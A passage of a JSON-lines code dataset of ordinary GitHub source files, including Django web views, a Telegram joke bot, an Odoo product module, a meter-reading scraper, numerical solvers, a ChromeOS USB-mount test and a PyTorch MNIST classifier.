\"\"\"Editing an artist\"\"\"\n template_name = 'edit_artist.html'\n model = Band\n fields = '__all__'\n\n def get_success_url(self):\n return reverse('home')\n\n\nclass ArtistsDeleteView(CancelButtonMixin, DeleteView):\n \"\"\"Deleting an artist\"\"\"\n template_name = 'delete_artist.html'\n model = Band\n fields = '__all__'\n\n def get_success_url(self):\n return reverse('home')\n\n\n# Songs\nclass SongsDetailView(DetailView):\n \"\"\"Lyrics\"\"\"\n template_name = 'text.html'\n model = Lyrics\n\n\nclass SongsCreateView(CancelButtonMixin, CreateView):\n \"\"\"Creating a song\"\"\"\n template_name = 'add_song.html'\n model = Lyrics\n fields = '__all__'\n\n def get_success_url(self):\n return reverse('search')\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['artists'] = Band.objects.all()\n return context\n\n\nclass SongsUpdateView(CancelButtonMixin, UpdateView):\n \"\"\"Editing a song\"\"\"\n template_name = 'edit_song.html'\n model = Lyrics\n fields = '__all__'\n\n def get_success_url(self):\n return reverse('search')\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['bands'] = Band.objects.all()\n return context\n\n\nclass SongsDeleteView(CancelButtonMixin, DeleteView):\n \"\"\"Deleting a song\"\"\"\n template_name = 'delete_song.html'\n model = Lyrics\n fields = '__all__'\n\n def get_success_url(self):\n return reverse('search')\n\n\n# Search\nclass SearchView(ListView):\n \"\"\"All songs view\"\"\"\n template_name = 'search.html'\n model = Lyrics\n context_object_name = 'songs_list'\n","repo_name":"forever-Agriculture/lyrics_site","sub_path":"src/apps/songs_artists/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"39212079118","text":"TICKSIZE = 200000\r\n\r\ndef collatz(x, col):\r\n if x in col:\r\n return True\r\n else:\r\n if x % 2:\r\n c = collatz(3 * x + 1, col)\r\n if c:\r\n col.add(x)\r\n return c\r\n else:\r\n c = collatz(x // 2, col)\r\n if c:\r\n col.add(x)\r\n return c\r\n \r\ndef CollatzVerifyTo(t):\r\n col = {4}\r\n\r\n for i in range(1, t):\r\n if not collatz(i, col):\r\n print('failed')\r\n \r\n if i % TICKSIZE == 0:\r\n print('.')\r\n \r\n if i % (5 * TICKSIZE) == 0:\r\n print('{} numbers processed'.format(i))\r\n \r\n print('Collatz Conjecture verified up to {}'.format(t))\r\n\r\n \r\nif __name__ == '__main__':\r\n CollatzVerifyTo(200000000)\r\n \r\n ","repo_name":"InoriSky/test","sub_path":"collatz.py","file_name":"collatz.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"5974506192","text":"# Inicialize listas vazias para armazenar as alturas\nalturas = []\n\n''' Coleta de alturas de 1.000 pessoas - Alterar para uma quantidade menor no Range, para validação\nde testes'''\n\nfor i in range(1000):\n altura = float(input(f\"Informe a altura da pessoa {i+1} (em centímetros): \"))\n alturas.append(altura)\n\n# Calcula a maior altura, a menor altura e a média das alturas\nmaior_altura = max(alturas)\nmenor_altura = min(alturas)\nmedia_alturas = sum(alturas) / len(alturas)\n\n# Conta quantas pessoas têm altura inferior à média das alturas\npessoas_inferior_media = sum(altura < media_alturas for altura in alturas)\n\n# Exibe os resultados\nprint(f\"Maior altura: {maior_altura} centímetros\")\nprint(f\"Menor altura: {menor_altura} centímetros\")\nprint(f\"Média das alturas: {media_alturas:.2f} centímetros\")\nprint(f\"Pessoas com altura inferior à média: {pessoas_inferior_media}\")","repo_name":"FcoFelix86/estudos","sub_path":"Projeto2.py","file_name":"Projeto2.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"73866062427","text":"class Solution:\n def countSmaller(self, nums: [int]) -> [int]:\n def new(val):\n node = TreeNode(val)\n node.size = 0\n node.count = 1\n node.color = True\n return node\n\n def rotate_left(root):\n right = root.right\n root.color,right.color = right.color,root.color\n root.right,right.left = right.left,root\n right.size += (root.size + root.count)\n return right\n\n def rotate_right(root):\n left = root.left\n root.color,left.color = left.color,root.color\n root.left,left.right = left.right,root\n root.size -= (left.size + left.count)\n return left\n\n def flip(root):\n root.left.color = False\n root.right.color = False\n root.color = True\n return root\n\n def red(node):\n return node != None and node.color\n\n def insert(root,node):\n # root is empty\n if root == None:\n return node,node.size\n \n if node.val == root.val:\n root.count += 1\n return root,root.size\n \n if node.val < root.val:\n root.size += 1\n root.left,size = insert(root.left,node)\n # node.val > root.val:\n else: \n root.right,size = insert(root.right,node)\n size += (root.size + root.count)\n \n # right sub-tree is red\n if red(root.right) and not red(root.left):\n root = rotate_left(root)\n # consecutive red edges on left sub-tree\n if red(root.left) and red(root.left.left):\n root = rotate_right(root)\n # both sub-trees are red\n if red(root.left) and red(root.right):\n root = flip(root)\n\n return root,size\n\n\n ret,root = [0 for _ in nums],None\n for i in range(len(nums)-1,-1,-1):\n node = new(nums[i])\n root,size = insert(root, node)\n ret[i] = size\n return ret ","repo_name":"yonghoonjeon/LeetCode","sub_path":"315-count-of-smaller-numbers-after-self/315-count-of-smaller-numbers-after-self.py","file_name":"315-count-of-smaller-numbers-after-self.py","file_ext":"py","file_size_in_byte":2152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"41558657405","text":"from django.shortcuts import render, redirect\nfrom django.contrib.auth import login\nfrom django.contrib.auth.models import User\nfrom django.utils.translation import gettext as _\nfrom django.template.loader import render_to_string\nfrom django.core.mail import EmailMessage\n\n\nfrom django.contrib.sites.shortcuts import get_current_site\nfrom django.utils.encoding import force_bytes\nfrom django.utils.http import urlsafe_base64_encode, urlsafe_base64_decode\nfrom django.utils import translation\n\nfrom .forms import SignUpForm\nfrom start.models import Profile, Token\n\nimport uuid\nfrom func.tokens import account_activation_token\n\n\ndef about(request):\n return render(request, 'about.html')\n\n\ndef privacy(request):\n return render(request, 'privacy.html')\n\n\ndef donate(request):\n return render(request, 'donate.html')\n\n\ndef index(request):\n if request.user.is_authenticated:\n return redirect('/start/')\n else:\n return render(request, 'start/index.html')\n\n\ndef activate(request, uidb64, token):\n try:\n uid = urlsafe_base64_decode(uidb64)\n user = User.objects.get(pk=uid)\n except(TypeError, ValueError, OverflowError, User.DoesNotExist):\n user = None\n\n if user is not None and account_activation_token.check_token(user, token):\n user.is_active = True\n user.save()\n login(request, user, backend='django.contrib.auth.backends.ModelBackend')\n return redirect('/start/')\n else:\n return redirect('/')\n\n\ndef signup(request):\n if not request.user.is_authenticated:\n if request.method == 'POST':\n form = SignUpForm(request.POST or None)\n if form.is_valid():\n to_email = form.cleaned_data.get('email')\n password1 = form.cleaned_data.get('password1')\n password2 = form.cleaned_data.get('password2')\n user = form.save(commit=False)\n user.is_active = False\n user.save()\n token = str(uuid.uuid4())\n # Token(user=user.pk, token=token, activated=0).save()\n current_site = get_current_site(request)\n Profile(user_id=user.pk, beta=True).save()\n mail_subject = _('Activate your Mountain Grip account.')\n\n # this part has to be rebuild for better, more professional email template\n\n message = render_to_string('registration/account_activate_email.html', {\n 'name': user.get_full_name(),\n 'domain': current_site.domain,\n 'uid': urlsafe_base64_encode(force_bytes(user.pk)),\n 'token': account_activation_token.make_token(user),\n })\n\n email = EmailMessage(\n mail_subject, message, from_email='no-reply@mountaingrip.com', to=[to_email]\n )\n\n if email.send():\n data = {'activation': 1}\n else:\n data = {'activation': 0}\n\n return render(request, 'start/signup.html', {'data': data})\n\n else:\n form = SignUpForm() \n return render(request, 'start/signup.html', {'form': form})\n\n else:\n return redirect('/start/')\n\n\n''' Server errors '''\n\n\ndef error_404(request, exception):\n response = render(request, 'errors/404.html', {})\n response.status_code = 404\n return response\n\n\ndef error_403(request, exception=None):\n response = render(request, 'errors/403.html', {})\n response.status_code = 403\n return response\n\n\ndef error_400(request, exception=None):\n response = render(request, 'errors/403.html', {})\n response.status_code = 400\n return response\n\n\ndef error_500(request, exception=None):\n response = render(request, 'errors/500.html', {})\n response.status_code = 500\n return response\n","repo_name":"kamilsj/mountaingrip","sub_path":"mountaingrip/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3871,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"21934120352","text":"#!/bin/python3\n\nimport bs4, requests, configparser, pprint, datetime, time\n\nconfig = configparser.ConfigParser()\nconfig.read(\"config.ini\")\n\nsession = requests.Session()\n\nr = session.get(\"https://mijn.ista.nl/\")\ns = bs4.BeautifulSoup(r.text, features=\"html.parser\")\nloginRequestVerificationToken = s.find(\"form\", {\"id\": \"account\"}).find(\"input\", {\"name\": \"__RequestVerificationToken\"})[\"value\"]\n\nr = session.post(\"https://mijn.ista.nl/Identity/Account/Login\", data={\n \"txtUserName\": config[\"account\"][\"user\"],\n \"txtPassword\": config[\"account\"][\"pass\"],\n \"__RequestVerificationToken\": loginRequestVerificationToken\n }, params={\"ReturnUrl\": \"/\"})\ns = bs4.BeautifulSoup(r.text, features=\"html.parser\")\njwt = s.find(\"input\", {\"id\": \"__twj_\"})[\"value\"]\n\nr = session.post(\"https://mijn.ista.nl/api/Values/UserValues\", json={\"JWT\": jwt})\nuserValues = r.json()\njwt = userValues['JWT']\nendDate = datetime.datetime.strptime(userValues['Cus'][0]['curConsumption']['CurEnd'], \"%d-%m-%Y\")\n\nprint(\"endDate:\\t\", endDate)\n\nfor i in range(7):\n # +1 because data from endDate itself is still unavailable\n date = endDate - datetime.timedelta(days=i+1)\n\n r = session.post(\"https://mijn.ista.nl/api/Values/ConsumptionValues\", json={\n \"JWT\": jwt,\n \"Cuid\": userValues['Cus'][0]['Cuid'],\n \"Billingperiod\": {\n \"s\": date.strftime(\"%Y-%m-%d\"),\n \"e\": date.strftime(\"%Y-%m-%dT23:59:59\"),\n },\n })\n\n todaysValues = r.json()\n jwt = todaysValues['JWT']\n\n print(date, end=' ')\n for i in todaysValues['ServicesComp'][0]['CurMeters']:\n print(i['CValue'], end=' ')\n print()\n\ndata = todaysValues['ServicesComp'][0]['CurMeters']\n\nprint(f\"╭{'─'*18}┬{'─'*14}┬{'─'*14}╮\")\nfor i in data[0]:\n print(f\"│ {i:>16} │ {data[0][i]!s:12} │ {data[1][i]!s:12} │\")\nprint(f\"╰{'─'*18}┴{'─'*14}┴{'─'*14}╯\")\n","repo_name":"Peetz0r/mijnistascraper","sub_path":"mijnistascraper.py","file_name":"mijnistascraper.py","file_ext":"py","file_size_in_byte":1830,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"19830655845","text":"import telebot\nimport datetime\nimport os\nimport random\n\n# bla bla bla\n\nAPI_TOKEN = os.environ.get('TELEBOT_TOKEN')\nbot = telebot.TeleBot(API_TOKEN)\n\naneks = []\nwith open('data.txt') as file:\n aneks = file.read().split(\"===\")\nstart_message = ''\n\nwith open('start_message.txt') as file:\n start_message = file.read()\n\n\nto_add = set()\n\n\n@bot.message_handler(commands=['start', 'help'])\ndef send_welcome(message):\n bot.reply_to(message, start_message)\n\n\n@bot.message_handler(commands=['anek'])\ndef echo_all(message):\n bot.reply_to(message, aneks[random.randint(0, len(aneks)) - 1])\n # logging\n print(datetime.datetime.now(), message.from_user.id, (message.text + \" \" * 20)[:20],\n message.from_user.username, sep='\\t')\n\n\n@bot.message_handler(commands=['add'])\ndef echo_all(message):\n bot.reply_to(message, 'Отправь свой анек.')\n to_add.add(message.from_user.id)\n # logging\n print(datetime.datetime.now(), message.from_user.id, (message.text + \" \" * 20)[:20],\n message.from_user.username, sep='\\t')\n\n\n@bot.message_handler(func=lambda message: True)\ndef echo_all(message):\n if message.from_user.id in to_add:\n aneks.append(message.text)\n to_add.remove(message.from_user.id)\n bot.reply_to(message, 'Анек успешно добавлен.')\n else:\n bot.reply_to(message, 'Нет такой команды.')\n # logging\n print(datetime.datetime.now(), message.from_user.id, (message.text + \" \" * 20)[:20],\n message.from_user.username, sep='\\t')\n\n\nbot.infinity_polling()\n","repo_name":"MCJOHN974/CI-CD-training","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"13599612570","text":"from openerp import _, api, fields, models\nimport openerp.addons.decimal_precision as dp\n\n\nclass ProductProduct(models.Model):\n _inherit = 'product.product'\n\n pricetag_type_id = fields.Many2one(\n comodel_name='product.pricetag.type', string='Pricetag Type')\n\n pricetag_color = fields.Char(compute='_compute_pricetag_color')\n\n pricetag_organic_text = fields.Char(\n compute='_compute_pricetag_organic_text')\n\n pricetag_display_spider_chart = fields.Boolean(\n compute='_compute_pricetag_display_spider_chart')\n\n pricetag_origin = fields.Char(compute='_compute_pricetag_origin')\n\n report_extra_food_info = fields.Char(\n compute='_compute_report_extra_food_info')\n\n report_label_ids_info = fields.Char(\n compute='_compute_report_label_ids_info')\n\n pricetag_special_quantity_price = fields.Boolean(\n default=False,\n compute='_compute_pricetag_second_price',\n multi='pricetag_second_price')\n\n pricetag_is_second_price = fields.Boolean(\n compute='_compute_pricetag_second_price',\n multi='pricetag_second_price')\n\n pricetag_second_price = fields.Float(\n compute='_compute_pricetag_second_price',\n digits_compute=dp.get_precision('Product Price'),\n multi='pricetag_second_price')\n\n pricetag_second_price_uom_text = fields.Char(\n compute='_compute_pricetag_second_price',\n multi='pricetag_second_price')\n\n pricetag_uom_id = fields.Many2one(\n comodel_name='product.uom', string='Pricetag UoM',\n domain=\"[('pricetag_available', '=', True)]\",\n help=\"Set an alternative Unit of Mesure if you want to display\"\n \" the price on your pricetags relative to this Unit.\")\n\n # Compute Section\n @api.multi\n def _compute_pricetag_color(self):\n for product in self:\n if product.pricetag_type_id:\n product.pricetag_color = product.pricetag_type_id.color\n else:\n product.pricetag_color = product.company_id.pricetag_color\n\n @api.multi\n def _compute_pricetag_organic_text(self):\n for product in self:\n res = \"\"\n if product.is_food:\n organic = any(product.label_ids.filtered(\n lambda x: x.is_organic))\n if organic:\n if product.company_id.certifier_organization_id:\n res = _(\"Organic Product, certified by %s\") % (\n product.company_id.certifier_organization_id.code)\n elif not product.company_id.pricetag_ignore_organic_warning:\n res = _(\"Not From Organic Farming\")\n product.pricetag_organic_text = res\n\n @api.multi\n def _compute_pricetag_display_spider_chart(self):\n for product in self:\n notation = [\n product.social_notation,\n product.organic_notation,\n product.packaging_notation,\n product.local_notation,\n ]\n if '0' in notation:\n notation = filter(lambda a: a != '0', notation)\n product.pricetag_display_spider_chart = (len(notation) >= 3)\n\n @api.multi\n def _compute_pricetag_origin(self):\n for product in self:\n localization_info = \"\"\n if product.department_id:\n localization_info = '%s (%s)' % (\n product.department_id.name, product.department_id.code)\n elif product.state_id:\n localization_info = product.state_id.name\n elif product.country_id:\n localization_info = product.country_id.name\n\n if product.origin_description:\n if localization_info:\n product.pricetag_origin = \"%s - %s\" % (\n localization_info, product.origin_description)\n else:\n product.pricetag_origin = product.origin_description\n else:\n product.pricetag_origin = localization_info\n\n @api.multi\n def _compute_report_extra_food_info(self):\n for product in self:\n info = []\n if product.country_id:\n info.append(_('Country: %s') % product.country_id.name)\n if product.fresh_category:\n info.append(_('Fresh Category: %s') % product.fresh_category)\n product.report_extra_food_info = ', '.join(info)\n\n @api.multi\n def _compute_report_label_ids_info(self):\n for product in self:\n label_info = product.label_ids.filtered(\n lambda x: x.mandatory_on_invoice).mapped('code')\n product.report_label_ids_info = ', '.join(label_info)\n\n @api.multi\n def _compute_pricetag_second_price(self):\n for product in self.filtered(lambda x: x.list_price):\n if product.pricetag_uom_id:\n product.pricetag_is_second_price = True\n product.pricetag_special_quantity_price = True\n product.pricetag_second_price_uom_text =\\\n _('For %s') % product.pricetag_uom_id.name\n product.pricetag_second_price =\\\n product.list_price / product.pricetag_uom_id.factor\n elif product.volume:\n product.pricetag_is_second_price = True\n product.pricetag_second_price_uom_text = _('Price per Liter')\n product.pricetag_second_price =\\\n product.list_price / product.volume\n elif product.weight_net:\n product.pricetag_is_second_price = True\n product.pricetag_second_price_uom_text = _('Price per Kilo')\n product.pricetag_second_price =\\\n product.list_price / product.weight_net\n","repo_name":"legalsylvain/grap-odoo-custom","sub_path":"grap_qweb_report/models/product_product.py","file_name":"product_product.py","file_ext":"py","file_size_in_byte":5794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"11"} +{"seq_id":"38524124887","text":"import numpy as np\nfrom TridiagonalDecomposition import TridiagonalDecomposition\n\ndef TridiagonalSolve(c: np.ndarray,\n d: np.ndarray,\n e: np.ndarray,\n b: np.ndarray) -> np.ndarray:\n _c, _d, _e = TridiagonalDecomposition(c=c, d=d, e=e)\n n = len(b)\n y = np.full_like(a=b, fill_value=np.nan, dtype=np.float64)\n x = np.full_like(a=b, fill_value=np.nan, dtype=np.float64)\n y[0] = b[0]\n for i in range(1, n, 1):\n y[i] = b[i] - _c[i-1] * y[i-1]\n x[n-1] = y[n-1]/_d[n-1]\n for i in range(n-2, -1, -1):\n x[i] = (y[i] - _e[i]*x[i+1])/_d[i]\n return x\nif __name__ == '__main__':\n c = np.full(shape=4, fill_value=-1, dtype=np.float64)\n e = np.full(shape=4, fill_value=-1, dtype=np.float64)\n d = np.full(shape=5, fill_value=2, dtype=np.float64)\n b = np.array(object=[5,-5,4,-5,5], dtype=np.float64)\n x = TridiagonalSolve(c=c, d=d, e=e, b=b)\n print(x)\n","repo_name":"ddnickkkk/i3s2Numerical","sub_path":"OneDrive - itc.edu.kh/ITC/Year 3/I3S2_AMS_B/Numerical/TridiagonalSolve.py","file_name":"TridiagonalSolve.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"29584738589","text":"import logging, os\n\nfrom autotest_lib.client.common_lib import error\nfrom autotest_lib.client.cros import rtc, sys_power\nfrom cros import storage as storage_mod\n\n\nclass hardware_UsbMount(storage_mod.StorageTester):\n version = 1\n SECS_TO_SUSPEND = 10\n _tmpfile = None\n\n\n def cleanup(self):\n # if the test fails with the device unmounted and before re-mounting,\n # the test will be unable to properly cleanup, since we have no way to\n # remove a tmp file from an unmounted device.\n # For instance, this can happen if suspend won't work (e.g. it will\n # reboot instead).\n if self._tmpfile and os.path.isfile(self._tmpfile):\n logging.debug('cleanup(): removing %s', self._tmpfile)\n os.remove(self._tmpfile)\n\n self.scanner.unmount_all()\n\n super(hardware_UsbMount, self).cleanup()\n\n\n def run_once(self, mount_cycles=10, filter_dict={'bus':'usb'}):\n \"\"\"\n @param mount_cycles: how many times to mount/unount Default: 10.\n @param filter_dict: storage dictionary filter.\n Default: match any device connected on the USB bus.\n \"\"\"\n # wait_for_device() returns (device_dictionary,\n # time_spent_looking_for_it), and only the dictionary is relevant for\n # this test\n storage = self.wait_for_device(filter_dict, cycles=1,\n mount_volume=True)[0]\n\n if not os.path.ismount(storage['mountpoint']):\n raise error.TestFail('filesystem %s mount failed' % filter_dict)\n\n storage_filter = {'fs_uuid': storage['fs_uuid']}\n # We cannot use autotemp.tempfile since we should close the descriptors\n # everytime the storage device is un-mounted.\n self._tmpfile = os.path.join(storage['mountpoint'],\n 'tempfile_usb_mount.tmp')\n\n while mount_cycles:\n mount_cycles -= 1\n # Create a 1MiB random file and checksum it.\n storage_mod.create_file(self._tmpfile, 1*1024*1024)\n chksum = storage_mod.checksum_file(self._tmpfile)\n\n logging.debug('storage to umount %s', storage)\n\n # Umount the volume.\n self.scanner.umount_volume(storage_dict=storage)\n storage = self.wait_for_device(storage_filter,\n mount_volume=False)[0]\n if os.path.ismount(storage['mountpoint']):\n raise error.TestFail('filesystem %s unmount failed ' %\n storage_filter)\n\n # Mount the volume back.\n self.scanner.mount_volume(storage_dict=storage)\n storage = self.wait_for_device(storage_filter,\n mount_volume=False)[0]\n if not os.path.ismount(storage['mountpoint']):\n raise error.TestFail('filesystem %s mount failed' %\n storage_filter)\n\n # Check that the created file exists and has the same content.\n if not os.path.isfile(self._tmpfile):\n raise error.TestFail('%s: file not present after remounting' %\n self._tmpfile)\n\n if chksum != storage_mod.checksum_file(self._tmpfile):\n raise error.TestFail('%s: file content changed after '\n 'remounting' % self._tmpfile)\n\n # Mount it, suspend and verify that after suspend-to-ram the\n # device is still mounted\n self.scanner.mount_volume(storage_dict=storage)\n storage = self.wait_for_device(storage_filter, mount_volume=False)[0]\n if not os.path.ismount(storage['mountpoint']):\n raise error.TestFail('filesystem %s mount failed ' % storage)\n\n sys_power.do_suspend(self.SECS_TO_SUSPEND)\n\n # mount_volume=False because we don't want the method to mount if\n # unmonted: we need to check its actual status right after suspend\n storage = self.wait_for_device(storage_filter, mount_volume=False)[0]\n\n if not os.path.ismount(storage['mountpoint']):\n raise error.TestFail('filesystem %s not mounted after suspend' %\n storage_filter)\n\n if not os.path.isfile(self._tmpfile):\n raise error.TestFail('%s: file not present anymore after '\n 'remounting' % self._tmpfile)\n\n if chksum != storage_mod.checksum_file(self._tmpfile):\n raise error.TestFail('%s: file content changed after remounting' %\n self._tmpfile)\n","repo_name":"Ante0/MHA-NG_EMUI5.0_opensource","sub_path":"external/autotest/client/site_tests/hardware_UsbMount/hardware_UsbMount.py","file_name":"hardware_UsbMount.py","file_ext":"py","file_size_in_byte":4649,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"11"} +{"seq_id":"19217615782","text":"from itertools import product\r\nfrom collections import namedtuple\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.optim as optim\r\nfrom torch.utils.data import Dataset, DataLoader, random_split\r\n\r\nimport torchvision\r\nimport torchvision.transforms as transforms\r\n\r\nfrom sklearn.metrics import confusion_matrix as sklearn_confusion\r\n\r\nimport config\r\n\r\ndef download_mnist_data():\r\n training_dataset = torchvision.datasets.MNIST(root='classifier data', \r\n train=True, \r\n download=True, \r\n transform=transforms.ToTensor())\r\n test_dataset = torchvision.datasets.MNIST(root='classifier data', \r\n train=False, \r\n download=True, \r\n transform=transforms.ToTensor())\r\n return training_dataset, test_dataset\r\n\r\nclass TransformedData(Dataset):\r\n def __init__(self, list_of_labelled_images):\r\n self.list_of_labelled_images = list_of_labelled_images\r\n\r\n def __len__(self):\r\n return len(self.list_of_labelled_images)\r\n\r\n def __getitem__(self, idx):\r\n sample = (self.list_of_labelled_images[idx])\r\n image = sample[0]\r\n label = sample[1]\r\n return sample\r\n \r\ndef preprocess_data(dataset, transforms_pool, subset_size):\r\n \"\"\"Augments data through random affine transformations.\r\n \r\n Parameters:\r\n dataset -- a PyTorch dataset\r\n transforms_pool -- the affine transforms to use (list)\r\n subset_size -- fraction of data to transform (float)\r\n \r\n Returns:\r\n dataset -- the original PyTorch dataset, plus a 'subset_size'\r\n percentage of transformed samples\r\n \"\"\"\r\n sample_and_apply = transforms.RandomApply(torch.nn.ModuleList(transforms_pool), p=1)\r\n idxs_to_copy_from = np.random.randint(low=0, \r\n high=len(dataset),\r\n size=(int(len(dataset)*subset_size))).tolist()\r\n copied_data = [dataset[idx] for idx in idxs_to_copy_from]\r\n transformed_copies = [(sample_and_apply(copy[0]), copy[1]) for copy in copied_data]\r\n transformed_fraction = TransformedData(transformed_copies)\r\n dataset = torch.utils.data.ConcatDataset([dataset, transformed_fraction])\r\n return dataset\r\n\r\ndef train_validation_split(dataset, training_size):\r\n \"\"\"Splits a PyTorch dataset in two unequally large subsets, then \r\n instantiates one dataloader each.\r\n \r\n Parameters:\r\n dataset -- a PyTorch dataset\r\n training_size -- fraction of data to use for training (float)\r\n\r\n Returns:\r\n training_loader -- PyTorch dataloader for training data\r\n validation_loader -- PyTorch dataloader for validation data\r\n \"\"\"\r\n\r\n training = int(len(dataset) * training_size)\r\n training_data, validation_data = random_split(dataset=dataset, \r\n lengths=[training, len(dataset)-training],\r\n generator=torch.Generator().manual_seed(0))\r\n training_loader = DataLoader(dataset=training_data,\r\n batch_size=config.training_and_validation[\"batch_size\"],\r\n shuffle=True,\r\n num_workers=2,\r\n pin_memory=True)\r\n validation_loader = DataLoader(dataset=validation_data,\r\n batch_size=len(validation_data),\r\n shuffle=False,\r\n num_workers=2,\r\n pin_memory=True)\r\n return training_loader, validation_loader\r\n \r\nclass CNN(nn.Module):\r\n \"\"\"A convolutional neural network. Check PyTorch docs\"\"\"\r\n\r\n def __init__(self, dropout_p): \r\n super().__init__() \r\n self.conv1 = nn.Conv2d(in_channels=config.model[\"in_channels_first\"], \r\n out_channels=config.model[\"out_channels_first\"], \r\n kernel_size=config.model[\"kernel_size_first\"], \r\n stride=config.model[\"stride_first\"])\r\n self.conv2 = nn.Conv2d(in_channels=config.model[\"in_channels_second\"],\r\n out_channels=config.model[\"out_channels_second\"],\r\n kernel_size=config.model[\"kernel_size_second\"],\r\n stride=config.model[\"stride_second\"])\r\n self.flatten = nn.Flatten(start_dim=1) \r\n self.fc1 = nn.Linear(in_features=config.model[\"in_features_first\"], \r\n out_features=config.model[\"out_features_first\"]) \r\n self.fc2 = nn.Linear(in_features=config.model[\"in_features_second\"],\r\n out_features=config.model[\"out_features_second\"])\r\n self.drop = nn.Dropout(p=dropout_p)\r\n self.act = nn.ReLU()\r\n\r\n def forward(self, x):\r\n x = self.act(self.conv1(x))\r\n x = self.act(self.conv2(x))\r\n x = self.flatten(x) \r\n x = self.act(self.fc1(x))\r\n x = self.act(self.drop(x))\r\n out = self.fc2(x)\r\n return out\r\n \r\ndef train_and_validate(model, device, combination, epochs, dataloaders):\r\n \"\"\"Performs model training and validation.\r\n \r\n Parameters:\r\n model -- a PyTorch model instance\r\n device -- where to run computations (torch device object)\r\n combination -- a combination of hyperparameter values (namedtuple)\r\n epochs -- number of model runs (int)\r\n dataloaders -- PyTorch dataloader instances (tuple)\r\n \"\"\"\r\n\r\n cross_entropy_loss = nn.CrossEntropyLoss()\r\n optimizer = optim.Adam(model.parameters(), \r\n lr = combination.learning_rate,\r\n weight_decay = combination.weight_decay)\r\n training_loss_log = []\r\n validation_loss_log = []\r\n\r\n # LP: since you like being fancy, for the future I recommend the tqdm library for progress bars!\r\n for epoch in range(epochs):\r\n training_loss = []\r\n model.train()\r\n for batch in dataloaders[0]:\r\n image = batch[0].to(device)\r\n label = batch[1].to(device)\r\n output = model(image)\r\n loss = cross_entropy_loss(output, label)\r\n model.zero_grad()\r\n loss.backward()\r\n optimizer.step()\r\n loss = loss.detach().cpu().numpy()\r\n training_loss.append(loss)\r\n validation_loss = []\r\n model.eval()\r\n with torch.no_grad():\r\n for batch in dataloaders[1]:\r\n image = batch[0].to(device)\r\n label = batch[1].to(device)\r\n output = model(image)\r\n loss = cross_entropy_loss(output, label)\r\n loss = loss.detach().cpu().numpy()\r\n validation_loss.append(loss)\r\n training_loss = np.mean(training_loss)\r\n training_loss_log.append(training_loss)\r\n validation_loss = np.mean(validation_loss)\r\n validation_loss_log.append(validation_loss)\r\n print(f\"EPOCH {epoch+1} - TRAINING LOSS: {training_loss: .2f} - VALIDATION LOSS: {validation_loss: .2f}\")\r\n if epoch == epochs-1:\r\n print(\"Finished\")\r\n torch.save(model.state_dict(), 'model_parameters.torch')\r\n return training_loss_log, validation_loss_log\r\n\r\ndef combine(hyperparameters):\r\n \"\"\"Constructs combinations of hyperparameter values.\r\n\r\n Parameters:\r\n hyperparameters -- map between hyperparameter names and candidate\r\n values (dict, str:list)\r\n\r\n Returns:\r\n candidates -- combinations of hyperparameters values (list of namedtuples)\r\n \"\"\"\r\n\r\n # LP even namedtuples! superfancy!\r\n candidate = namedtuple('Candidate', hyperparameters.keys()) \r\n candidates = []\r\n for combination in product(*hyperparameters.values()): \r\n candidates.append(candidate(*combination))\r\n return candidates\r\n\r\ndef hyperparameter_tuning(combinations, device, dataloaders):\r\n \"\"\"Chooses the best combination of hyperparameters.\r\n \r\n Parameters:\r\n combinations -- hyperparameter combinations to evaluate (namedtuple)\r\n device -- where to run computations (torch device object)\r\n dataloaders -- PyTorch dataloader instances (tuple)\r\n \"\"\"\r\n\r\n scores = []\r\n for combination in combinations:\r\n model = CNN(dropout_p=combination.dropout_p)\r\n model.to(device)\r\n print(f\"Combination {combinations.index(combination)+1} of {len(combinations)}\")\r\n score = train_and_validate(model=model, \r\n device=device, \r\n combination=combination, \r\n epochs=config.SELECTION_EPOCHS, \r\n dataloaders=dataloaders) \r\n scores.append(score)\r\n print(\"Model selection finished!\")\r\n training_scores = []\r\n validation_scores = []\r\n for score in scores:\r\n training, validation = score\r\n training_scores.append(training)\r\n validation_scores.append(validation)\r\n least_validation_score = min(validation_scores)\r\n idx = validation_scores.index(least_validation_score)\r\n winner = combinations[idx]\r\n return winner\r\n\r\ndef plot_losses(size, losses, labels):\r\n \"\"\"Draws line plots of losses (i.e., model errors) vs. epoch number.\r\n \r\n Parameters:\r\n size -- figsize (tuple)\r\n losses -- the losses to draw (list)\r\n labels -- the graph's labels (list)\r\n \"\"\"\r\n\r\n # LP: very minor. Stuff that have module configuration effects such as\r\n # this one should not be used in a function! Otherwise they have side effects\r\n # (unless the function is specifically deputed to have such effectso)\r\n # Love the darkstyle though!\r\n plt.style.use(\"dark_background\")\r\n plt.figure(figsize=(size[0],size[1]))\r\n plt.semilogy(losses[0], label=labels[0])\r\n plt.semilogy(losses[1], label=labels[1])\r\n plt.xlabel(\"Epoch\")\r\n plt.ylabel(\"Loss\")\r\n plt.legend()\r\n plt.grid()\r\n plt.show()\r\n\r\ndef test(model, device, dataloader):\r\n \"\"\"Evaluates the model on novel samples.\r\n \r\n Parameters:\r\n model -- a PyTorch model 